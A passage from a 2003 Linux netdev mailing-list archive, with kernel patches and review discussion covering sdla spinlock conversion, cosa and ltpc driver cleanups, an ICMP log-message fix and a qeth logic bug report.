0xEA000, 0xEC000, 0xEE000}; +static spinlock_t sdla_lock = SPIN_LOCK_UNLOCKED; + /********************************************************* * * these are the core routines that access the card itself @@ -79,10 +81,10 @@ #define SDLA_WINDOW(dev,addr) outb((((addr) >> 13) & 0x1F), (dev)->base_addr + SDLA_REG_Z80_WINDOW) -static void sdla_read(struct net_device *dev, int addr, void *buf, short len) +static void __sdla_read(struct net_device *dev, int addr, void *buf, short len) { - unsigned long flags; - char *temp, *base; + char *temp; + const void *base; int offset, bytes; temp = buf; @@ -90,13 +92,10 @@ { offset = addr & SDLA_ADDR_MASK; bytes = offset + len > SDLA_WINDOW_SIZE ? SDLA_WINDOW_SIZE - offset : len; - base = (void *) (dev->mem_start + offset); + base = (const void *) (dev->mem_start + offset); - save_flags(flags); - cli(); SDLA_WINDOW(dev, addr); memcpy(temp, base, bytes); - restore_flags(flags); addr += bytes; temp += bytes; @@ -104,10 +103,19 @@ } } -static void sdla_write(struct net_device *dev, int addr, void *buf, short len) +static void sdla_read(struct net_device *dev, int addr, void *buf, short len) { unsigned long flags; - char *temp, *base; + spin_lock_irqsave(&sdla_lock, flags); + __sdla_read(dev, addr, buf, len); + spin_unlock_irqrestore(&sdla_lock, flags); +} + +static void __sdla_write(struct net_device *dev, int addr, + const void *buf, short len) +{ + const char *temp; + void *base; int offset, bytes; temp = buf; @@ -116,17 +124,27 @@ offset = addr & SDLA_ADDR_MASK; bytes = offset + len > SDLA_WINDOW_SIZE ? SDLA_WINDOW_SIZE - offset : len; base = (void *) (dev->mem_start + offset); - save_flags(flags); - cli(); + SDLA_WINDOW(dev, addr); memcpy(base, temp, bytes); - restore_flags(flags); + addr += bytes; temp += bytes; len -= bytes; } } +static void sdla_write(struct net_device *dev, int addr, + const void *buf, short len) +{ + unsigned long flags; + + spin_lock_irqsave(&sdla_lock, flags); + __sdla_write(dev, addr, buf, len); + spin_unlock_irqrestore(&sdla_lock, flags); +} + + static void sdla_clear(struct net_device *dev) { unsigned long flags; @@ -138,8 +156,7 @@ bytes = SDLA_WINDOW_SIZE; base = (void *) dev->mem_start; - save_flags(flags); - cli(); + spin_lock_irqsave(&sdla_lock, flags); while(len) { SDLA_WINDOW(dev, addr); @@ -148,7 +165,8 @@ addr += bytes; len -= bytes; } - restore_flags(flags); + spin_unlock_irqrestore(&sdla_lock, flags); + } static char sdla_byte(struct net_device *dev, int addr) @@ -158,11 +176,10 @@ temp = (void *) (dev->mem_start + (addr & SDLA_ADDR_MASK)); - save_flags(flags); - cli(); + spin_lock_irqsave(&sdla_lock, flags); SDLA_WINDOW(dev, addr); byte = *temp; - restore_flags(flags); + spin_unlock_irqrestore(&sdla_lock, flags); return(byte); } @@ -414,7 +431,8 @@ struct frad_local *flp; struct sdla_cmd *cmd_buf; unsigned long pflags; - int jiffs, ret, waiting, len; + unsigned long jiffs; + int ret, waiting, len; long window; flp = dev->priv; @@ -423,8 +441,8 @@ ret = 0; len = 0; jiffs = jiffies + HZ; /* 1 second is plenty */ - save_flags(pflags); - cli(); + + spin_lock_irqsave(&sdla_lock, pflags); SDLA_WINDOW(dev, window); cmd_buf->cmd = cmd; cmd_buf->dlci = dlci; @@ -436,7 +454,7 @@ cmd_buf->length = inlen; cmd_buf->opp_flag = 1; - restore_flags(pflags); + spin_unlock_irqrestore(&sdla_lock, pflags); waiting = 1; len = 0; @@ -444,18 +462,17 @@ { if (waiting++ % 3) { - save_flags(pflags); - cli(); + spin_lock_irqsave(&sdla_lock, pflags); SDLA_WINDOW(dev, window); waiting = ((volatile int)(cmd_buf->opp_flag)); - restore_flags(pflags); + spin_unlock_irqrestore(&sdla_lock, pflags); } } if (!waiting) { - save_flags(pflags); - cli(); + + spin_lock_irqsave(&sdla_lock, pflags); SDLA_WINDOW(dev, window); ret = cmd_buf->retval; len = cmd_buf->length; @@ -471,7 +488,7 @@ if (ret) memcpy(&status, cmd_buf->data, len > sizeof(status) ? sizeof(status) : len); - restore_flags(pflags); + spin_unlock_irqrestore(&sdla_lock, pflags); } else ret = SDLA_RET_TIMEOUT; @@ -555,7 +572,6 @@ if (i == CONFIG_DLCI_MAX) return(-EMLINK); /* #### Alan: Comments on this ?? */ - MOD_INC_USE_COUNT; flp->master[i] = master; flp->dlci[i] = -*(short *)(master->dev_addr); @@ -588,7 +604,6 @@ flp->master[i] = NULL; flp->dlci[i] = 0; - MOD_DEC_USE_COUNT; if (netif_running(slave)) { if (flp->config.station == FRAD_STATION_CPE) @@ -688,14 +703,14 @@ ret = sdla_cmd(dev, SDLA_INFORMATION_WRITE, *(short *)(skb->dev->dev_addr), 0, NULL, skb->len, &addr, &size); if (ret == SDLA_RET_OK) { - save_flags(flags); - cli(); + + spin_lock_irqsave(&sdla_lock, flags); SDLA_WINDOW(dev, addr); pbuf = (void *)(((int) dev->mem_start) + (addr & SDLA_ADDR_MASK)); - sdla_write(dev, pbuf->buf_addr, skb->data, skb->len); - SDLA_WINDOW(dev, addr); + __sdla_write(dev, pbuf->buf_addr, skb->data, skb->len); + SDLA_WINDOW(dev, addr); pbuf->opp_flag = 1; - restore_flags(flags); + spin_unlock_irqrestore(&sdla_lock, flags); } break; } @@ -753,8 +768,7 @@ pbufi = NULL; pbuf = NULL; - save_flags(flags); - cli(); + spin_lock_irqsave(&sdla_lock, flags); switch (flp->type) { @@ -821,7 +835,7 @@ case SDLA_S502A: case SDLA_S502E: if (success) - sdla_read(dev, SDLA_502_RCV_BUF + SDLA_502_DATA_OFS, skb_put(skb,len), len); + __sdla_read(dev, SDLA_502_RCV_BUF + SDLA_502_DATA_OFS, skb_put(skb,len), len); SDLA_WINDOW(dev, SDLA_502_RCV_BUF); cmd->opp_flag = 0; @@ -834,9 +848,9 @@ split = addr + len > buf_top + 1 ? len - (buf_top - addr + 1) : 0; len2 = len - split; - sdla_read(dev, addr, skb_put(skb, len2), len2); + __sdla_read(dev, addr, skb_put(skb, len2), len2); if (split) - sdla_read(dev, buf_base, skb_put(skb, split), split); + __sdla_read(dev, buf_base, skb_put(skb, split), split); } /* increment the buffer we're looking at */ @@ -853,7 +867,7 @@ (*dlp->receive)(skb, master); } - restore_flags(flags); + spin_unlock_irqrestore(&sdla_lock, flags); } static irqreturn_t sdla_isr(int irq, void *dev_id, struct pt_regs * regs) @@ -979,8 +993,6 @@ netif_stop_queue(dev); - MOD_DEC_USE_COUNT; - return(0); } @@ -1082,8 +1094,6 @@ netif_start_queue(dev); - MOD_INC_USE_COUNT; - return(0); } @@ -1614,19 +1624,30 @@ return(&flp->stats); } -int __init sdla_init(struct net_device *dev) +static void setup_sdla(struct net_device *dev) { + dev->flags = 0; + dev->type = 0xFFFF; + dev->hard_header_len = 0; + dev->addr_len = 0; + dev->mtu = SDLA_MAX_MTU; +} + +struct net_device * __init sdla_init(void) +{ + struct net_device *dev; struct frad_local *flp; + int err = -ENOMEM; - /* allocate the private data structure */ - flp = kmalloc(sizeof(struct frad_local), GFP_KERNEL); - if (!flp) - return(-ENOMEM); + dev = alloc_netdev(sizeof(struct frad_local), "sdla0", setup_sdla); + if (!dev) + goto out; - memset(flp, 0, sizeof(struct frad_local)); - dev->priv = flp; + SET_MODULE_OWNER(dev); + netdev_boot_setup_check(dev); + + flp = dev->priv; - dev->flags = 0; dev->open = sdla_open; dev->stop = sdla_close; dev->do_ioctl = sdla_ioctl; @@ -1635,12 +1656,6 @@ dev->hard_start_xmit = sdla_transmit; dev->change_mtu = sdla_change_mtu; - dev->type = 0xFFFF; - dev->hard_header_len = 0; - dev->addr_len = 0; - dev->mtu = SDLA_MAX_MTU; - SET_MODULE_OWNER(dev); - flp->activate = sdla_activate; flp->deactivate = sdla_deactivate; flp->assoc = sdla_assoc; @@ -1652,7 +1667,14 @@ flp->timer.data = (unsigned long) dev; flp->timer.function = sdla_poll; - return(0); + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + kfree(dev); +out: + return ERR_PTR(err); } int __init sdla_c_setup(void) @@ -1663,10 +1685,7 @@ } #ifdef MODULE -static struct net_device sdla0 = { - .name = "sdla0", - .init = sdla_init -}; +static struct net_device *sdla0; #endif /* MODULE */ static int __init init_sdla(void) @@ -1675,7 +1694,9 @@ sdla_c_setup(); #ifdef MODULE - result = register_netdev(&sdla0); + sdla0 = sdla_init(); + if (IS_ERR(sdla0)) + result = PTR_ERR(sdla0); #endif return result; } @@ -1683,11 +1704,10 @@ static void __exit exit_sdla(void) { #ifdef MODULE - unregister_netdev(&sdla0); - if (sdla0.priv) - kfree(sdla0.priv); - if (sdla0.irq) - free_irq(sdla0.irq, &sdla0); + unregister_netdev(sdla0); + if (sdla0->irq) + free_irq(sdla0->irq, sdla0); + free_netdev(sdla0); #endif } From zaitcev@redhat.com Thu Sep 4 14:25:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:25:55 -0700 (PDT) Received: from devserv.devel.redhat.com (pix-525-pool.redhat.com [66.187.233.200]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LPJWb026363 for ; Thu, 4 Sep 2003 14:25:21 -0700 Received: (from zaitcev@localhost) by devserv.devel.redhat.com (8.11.6/8.11.0) id h83Isiq25081; Wed, 3 Sep 2003 14:54:44 -0400 Date: Wed, 3 Sep 2003 14:54:44 -0400 From: Pete Zaitcev To: cohuck@de.ibm.com Cc: netdev@oss.sgi.com, zaitcev@redhat.com Subject: Bug in qeth in 2.6 Message-ID: <20030903145444.I27572@devserv.devel.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 5594 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zaitcev@redhat.com Precedence: bulk X-list: netdev This code is obviously broken in case several cards are present, look what happens to ``result''. devices/s390/net/qeth.c: static int qeth_verify_dev(struct net_device *dev) { struct qeth_card *tmp; int result = 0; read_lock(&list_lock); tmp = firstcard; for (; tmp && (!result); tmp = tmp->next) { if (atomic_read(&tmp->shutdown_phase)) continue; result = (dev == tmp->dev)? QETH_VERIFY_IS_REAL_DEV:__qeth_verify_dev_vlan(dev, tmp); } read_unlock(&list_lock); return result; } Someone got seriously carried away with cleanups. I have to say, I'm disappointed. The original qeth in 2.4 had poor C style, but it was a mistake to run amok adding spaces. The diff between 2.4 and 2.6 is too hard to read, even with -b. Now I have to review whole darn thing line by line. Oh woe! -- Pete From zaitcev@redhat.com Thu Sep 4 14:25:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:25:54 -0700 (PDT) Received: from devserv.devel.redhat.com (pix-525-pool.redhat.com [66.187.233.200]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LPJWZ026363 for ; Thu, 4 Sep 2003 14:25:20 -0700 Received: (from zaitcev@localhost) by devserv.devel.redhat.com (8.11.6/8.11.0) id h84FjC622445; Thu, 4 Sep 2003 11:45:12 -0400 Date: Thu, 4 Sep 2003 11:45:12 -0400 From: Pete Zaitcev To: Cornelia Huck Cc: Pete Zaitcev , netdev@oss.sgi.com, Utz Bacher Subject: Re: Bug in qeth in 2.6 Message-ID: <20030904114512.A12054@devserv.devel.redhat.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from COHUCK@de.ibm.com on Thu, Sep 04, 2003 at 10:54:43AM +0200 X-archive-position: 5593 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zaitcev@redhat.com Precedence: bulk X-list: netdev On Thu, Sep 04, 2003 at 10:54:43AM +0200, Cornelia Huck wrote: > could you please elaborate what's exactly wrong with qeth_verify_dev()? > > It has the same behaviour as in 2.4, and it looks correct to us... 2.4 was like this: result = 0; for (all in list) { if (something) result = QETH_VERIFY_IS_SOMETHING; } 2.6 is: result = 0; for (all in list) { result = (something)? QETH_VERIFY_IS_SOMETHING: foo(); } Results are different if two cards are present on the list and the function is asked to verify the first card. -- Pete From shemminger@osdl.org Thu Sep 4 14:29:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:29:08 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LT4WZ027137 for ; Thu, 4 Sep 2003 14:29:05 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84LSgo28883; Thu, 4 Sep 2003 14:28:42 -0700 Date: Thu, 4 Sep 2003 14:28:28 -0700 From: Stephen Hemminger To: Adrian Bunk , "David S. Miller" , Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] fix cosa to get rid of warnings and build on SMP Message-Id: <20030904142828.14218966.shemminger@osdl.org> In-Reply-To: <20030903173417.GC18025@fs.tum.de> References: <20030903173417.GC18025@fs.tum.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h84LT4WZ027137 X-archive-position: 5595 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev * get rid of leftover sti * no longer need MOD_INC/DEC stuff * get rid of dead code related to MOD_INC/DEC * use module_init/module_exit to cleanly run init code diff -Nru a/drivers/net/wan/cosa.c b/drivers/net/wan/cosa.c --- a/drivers/net/wan/cosa.c Thu Sep 4 14:18:36 2003 +++ b/drivers/net/wan/cosa.c Thu Sep 4 14:18:36 2003 @@ -357,11 +357,7 @@ /* ---------- Initialization stuff ---------- */ -#ifdef MODULE -int init_module(void) -#else static int __init cosa_init(void) -#endif { int i; @@ -398,9 +394,9 @@ } return 0; } +module_init(cosa_init); -#ifdef MODULE -void cleanup_module (void) +static void __exit cosa_exit(void) { struct cosa_data *cosa; int i; @@ -424,7 +420,7 @@ } unregister_chrdev(cosa_major, "cosa"); } -#endif +module_exit(cosa_exit); /* * This function should register all the net devices needed for the @@ -513,7 +509,6 @@ if (irq < 0) { unsigned long irqs; /* printk(KERN_INFO "IRQ autoprobe\n"); */ - sti(); irqs = probe_irq_on(); /* * Enable interrupt on tx buffer empty (it sure is) @@ -624,6 +619,7 @@ if (register_netdev(d) == -1) { printk(KERN_WARNING "%s: register_netdev failed.\n", d->name); sppp_detach(chan->pppdev.dev); + free_netdev(chan->pppdev.dev); return; } } @@ -658,7 +654,6 @@ chan->rx_done = sppp_rx_done; chan->usage=-1; chan->cosa->usage++; - MOD_INC_USE_COUNT; spin_unlock_irqrestore(&chan->cosa->lock, flags); err = sppp_open(d); @@ -666,7 +661,6 @@ spin_lock_irqsave(&chan->cosa->lock, flags); chan->usage=0; chan->cosa->usage--; - MOD_DEC_USE_COUNT; spin_unlock_irqrestore(&chan->cosa->lock, flags); return err; @@ -726,7 +720,6 @@ } chan->usage=0; chan->cosa->usage--; - MOD_DEC_USE_COUNT; spin_unlock_irqrestore(&chan->cosa->lock, flags); return 0; } @@ -1187,21 +1180,6 @@ return cosa_gettype(cosa, (char *)arg); case COSAIORIDSTR: return cosa_getidstr(cosa, (char *)arg); -/* - * These two are _very_ugly_hack_(tm). Don't even look at this. - * Implementing this saved me few reboots after some process segfaulted - * inside this module. - */ -#ifdef MODULE -#if 0 - case COSAIOMINC: - MOD_INC_USE_COUNT; - return 0; - case COSAIOMDEC: - MOD_DEC_USE_COUNT; - return 0; -#endif -#endif case COSAIONRCARDS: return nr_cards; case COSAIONRCHANS: From shemminger@osdl.org Thu Sep 4 14:43:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:43:21 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LhIWZ028504 for ; Thu, 4 Sep 2003 14:43:18 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84Lh2o32429; Thu, 4 Sep 2003 14:43:02 -0700 Date: Thu, 4 Sep 2003 14:42:48 -0700 From: Stephen Hemminger To: Jeff Garzik , "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] more sdla fixes Message-Id: <20030904144248.0599cdaf.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5596 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Since sdla.c now has locking instead of cli/sti, it shouldn't be completely busted on SMP. Also, the frad interface registration needed to be done once (and check the result), and undone on module unload. diff -Nru a/drivers/net/wan/Kconfig b/drivers/net/wan/Kconfig --- a/drivers/net/wan/Kconfig Thu Sep 4 14:41:49 2003 +++ b/drivers/net/wan/Kconfig Thu Sep 4 14:41:49 2003 @@ -465,7 +465,7 @@ config SDLA tristate "SDLA (Sangoma S502/S508) support" - depends on DLCI && ISA && BROKEN_ON_SMP + depends on DLCI && ISA help Say Y here if you need a driver for the Sangoma S502A, S502E, and S508 Frame Relay Access Devices. These are multi-protocol cards, but diff -Nru a/drivers/net/wan/sdla.c b/drivers/net/wan/sdla.c --- a/drivers/net/wan/sdla.c Thu Sep 4 14:41:49 2003 +++ b/drivers/net/wan/sdla.c Thu Sep 4 14:41:49 2003 @@ -1634,12 +1634,26 @@ dev->mtu = SDLA_MAX_MTU; } +static int frad_registered; + struct net_device * __init sdla_init(void) { struct net_device *dev; struct frad_local *flp; int err = -ENOMEM; + if (!frad_registered) { + err = register_frad(devname); + if (err) { + printk(KERN_ERR "%s: frad registration failed %d\n", + devname, err); + return ERR_PTR(err); + } + frad_registered = 1; + printk("%s.\n", version); + } + + dev = alloc_netdev(sizeof(struct frad_local), "sdla0", setup_sdla); if (!dev) goto out; @@ -1678,39 +1692,35 @@ return ERR_PTR(err); } -int __init sdla_c_setup(void) -{ - printk("%s.\n", version); - register_frad(devname); - return 0; -} - #ifdef MODULE static struct net_device *sdla0; -#endif /* MODULE */ static int __init init_sdla(void) { int result = 0; - sdla_c_setup(); -#ifdef MODULE sdla0 = sdla_init(); if (IS_ERR(sdla0)) result = PTR_ERR(sdla0); -#endif + return result; } static void __exit exit_sdla(void) { -#ifdef MODULE + struct frad_local *flp; + unregister_netdev(sdla0); if (sdla0->irq) free_irq(sdla0->irq, sdla0); + + flp = sdla0->priv; + del_timer_sync(&flp->timer); free_netdev(sdla0); -#endif + + unregister_frad(devname); } +#endif MODULE_LICENSE("GPL"); From postmaster@q.nospam.kampsax.k-net.dk Thu Sep 4 14:43:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:43:33 -0700 (PDT) Received: from minuspol.k-net.dk (minuspol.k-net.dtu.dk [130.225.71.251]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LgmWZ028477 for ; Thu, 4 Sep 2003 14:42:50 -0700 Received: from carlsberg.kampsax.dtu.dk (carlsberg.kampsax.dtu.dk [192.38.212.2]) by minuspol.k-net.dk (Postfix) with SMTP id E8DC8311F1 for ; Thu, 4 Sep 2003 02:26:42 +0200 (CEST) Received: (qmail 24228 invoked from network); 4 Sep 2003 00:26:42 -0000 Received: from clouseau.kampsax.dtu.dk (HELO q.nospam.kampsax.k-net.dk) (dnj@192.38.215.157) by carlsberg.kampsax.dtu.dk with SMTP; 4 Sep 2003 00:26:42 -0000 Message-ID: <3F5686C2.6090600@q.nospam.kampsax.k-net.dk> Date: Thu, 04 Sep 2003 02:26:42 +0200 From: =?ISO-8859-1?Q?Dennis_J=F8rgensen?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5a) Gecko/20030618 X-Accept-Language: en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Trivial fix for wrong error message from icmp.c (2.6.0-test4) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h84LgmWZ028477 X-archive-position: 5597 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: postmaster@q.nospam.kampsax.k-net.dk Precedence: bulk X-list: netdev Hello I see this message a lot in my logs: 192.38.215.157 sent an invalid ICMP type 11, code 0 error to a broadcast: 192.38.215.255 on eth0 but thats my own ip, the following fix makes 2.6.0-test4 report the same ip as 2.4.20 did. Should I post this somewhere else/to someone else, please let me know, I couldn't find a FAQ for the list. Regards Dennis Jørgensen (not on the list) --- linux-2.6.0-test4.org/net/ipv4/icmp.c 2003-08-28 01:13:59.000000000 +0200 +++ linux-2.6.0-test4/net/ipv4/icmp.c 2003-08-28 02:12:56.000000000 +0200 @@ -661,7 +661,7 @@ printk(KERN_WARNING "%u.%u.%u.%u sent an invalid ICMP " "type %u, code %u " "error to a broadcast: %u.%u.%u.%u on %s\n", - NIPQUAD(iph->saddr), + NIPQUAD(skb->nh.iph->saddr), icmph->type, icmph->code, NIPQUAD(iph->daddr), skb->dev->name); From jgarzik@pobox.com Thu Sep 4 14:46:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:47:25 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LkpWZ029270 for ; Thu, 4 Sep 2003 14:46:52 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35364 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19uiIv-0001QZ-F8; Thu, 04 Sep 2003 01:48:53 +0100 Message-ID: <3F568BEA.50904@pobox.com> Date: Wed, 03 Sep 2003 20:48:42 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (3/8) ltpc - convert to new initialization References: <20030903164916.2809d4a5.shemminger@osdl.org> In-Reply-To: <20030903164916.2809d4a5.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5598 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Stephen Hemminger wrote: > -int __init ltpc_probe(struct net_device *dev) > +struct net_device * __init ltpc_probe(void) [...] > /* probe for the I/O port address */ > - if (io != 0x240 && request_region(0x220,8,"ltpc")) { > - x = inb_p(0x220+6); > - if ( (x!=0xff) && (x>=0xf0) ) { > - io = 0x220; > - portfound=1; > - } > - else { > - release_region(0x220,8); > - } > - } > > if (io != 0x220 && request_region(0x240,8,"ltpc")) { > y = inb_p(0x240+6); > if ( (y!=0xff) && (y>=0xf0) ){ > io = 0x240; > - portfound=1; > - } > - else { > - release_region(0x240,8); > + goto got_port; > } > + release_region(0x240,8); > } > - > - if(io && !portfound && request_region(io,8,"ltpc")){ > - portfound = 1; > - } > - if(!portfound) { > - /* give up in despair */ > - printk(KERN_ERR "LocalTalk card not found; 220 = %02x, 240 = %02x.\n", x,y); > - return -1; > + if (io != 0x240 && request_region(0x220,8,"ltpc")) { > + x = inb_p(0x220+6); > + if ( (x!=0xff) && (x>=0xf0) ) { > + io = 0x220; > + goto got_port; > + } > + release_region(0x220,8); > } why did the order of probing change? It used to be "0x220 -> 0x240", now it's "0x240 -> 0x220" Jeff From moz@compsoc.man.ac.uk Thu Sep 4 15:44:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 15:45:28 -0700 (PDT) Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84MipWZ001784 for ; Thu, 4 Sep 2003 15:44:53 -0700 Received: from compsoc.umu.man.ac.uk ([130.88.22.5] helo=mrtall.compsoc.man.ac.uk ident=exim) by serenity.mcc.ac.uk with esmtp (Exim 4.20) id 19uvSv-000KCq-2v; Thu, 04 Sep 2003 15:52:05 +0100 Received: from moz by mrtall.compsoc.man.ac.uk with local (Exim 3.33 #1) id 19uvSv-0007Jb-00; Thu, 04 Sep 2003 15:52:05 +0100 Date: Thu, 4 Sep 2003 15:52:04 +0100 From: John Levon To: netdev@oss.sgi.com, davem@redhat.com Subject: [PATCH] remove net/README Message-ID: <20030904145204.GA27953@compsoc.man.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.25i X-Url: http://www.movementarian.org/ X-Record: King of Woolworths - L'Illustration Musicale X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19uvSv-000KCq-2v*Ry1jNCHoQPo* X-archive-position: 5599 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: levon@movementarian.org Precedence: bulk X-list: netdev This file seems bitrotted and more up to date info is available in MAINTAINERS in large part. regards john diff -Naur -X dontdiff linux-cvs/net/README linux-fixes/net/README --- linux-cvs/net/README 2002-02-06 00:13:33.000000000 +0000 +++ linux-fixes/net/README 1970-01-01 01:00:00.000000000 +0100 @@ -1,26 +0,0 @@ - -Maintainers and developers for networking code sections - -Code Section Bug Report Contact --------------------+------------------------------------------- -802 [other ] alan@lxorguk.ukuu.org.uk - [token ring ] p.norton@computer.org -appletalk jschlst@samba.org -ax25 g4klx@g4klx.demon.co.uk -bridge buytenh@gnu.org -core alan@lxorguk.ukuu.org.uk -decnet SteveW@ACM.org -ethernet alan@lxorguk.ukuu.org.uk -ipv4 davem@caip.rutgers.edu,Eric.Schenk@dna.lth.se -ipv6 davem@caip.rutgers.edu,Eric.Schenk@dna.lth.se -ipx acme@conectiva.com.br -spx jschlst@samba.org -irda dagb@cs.uit.no -lapb g4klx@g4klx.demon.co.uk -netrom g4klx@g4klx.demon.co.uk -rose g4klx@g4klx.demon.co.uk -wanrouter gene@compuserve.com, jaspreet@sangoma and dm@sangoma.com -unix alan@lxorguk.ukuu.org.uk -x25 g4klx@g4klx.demon.co.uk -bluetooth maxk@qualcomm.com -8021q greearb@candelatech.com, vlan@scry.wanfear.com From jgarzik@pobox.com Thu Sep 4 15:53:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 15:53:27 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84MrKWZ002556 for ; Thu, 4 Sep 2003 15:53:21 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35362 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19uiE7-0001MG-ED; Thu, 04 Sep 2003 01:43:55 +0100 Message-ID: <3F568AC0.5090601@pobox.com> Date: Wed, 03 Sep 2003 20:43:44 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (8/8) loopback device simplification References: <20030903164921.7d923008.shemminger@osdl.org> In-Reply-To: <20030903164921.7d923008.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5600 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Would be nice to move dev_base and dev_base_lock somewhere, maybe drivers/net/net_init.c (which really should be renamed libnet.c) or perhaps somewhere in net/* From devik@cdi.cz Thu Sep 4 16:00:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:01:09 -0700 (PDT) Received: from luxik.cdi.cz (inway106.cdi.cz [213.151.81.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84N0YWZ003288 for ; Thu, 4 Sep 2003 16:00:36 -0700 Received: from gprs148-155.eurotel.cz ([160.218.148.155] helo=devix) by luxik.cdi.cz with asmtp (Exim 3.34 #3) id 19uelR-0006Y7-00; Wed, 03 Sep 2003 23:02:06 +0200 Received: from devik (helo=localhost) by devix with local-esmtp (Exim 3.16 #8) id 19uel7-0002Wr-00; Wed, 03 Sep 2003 23:01:45 +0200 Date: Wed, 3 Sep 2003 23:01:45 +0200 (CEST) From: devik X-X-Sender: To: bert hubert 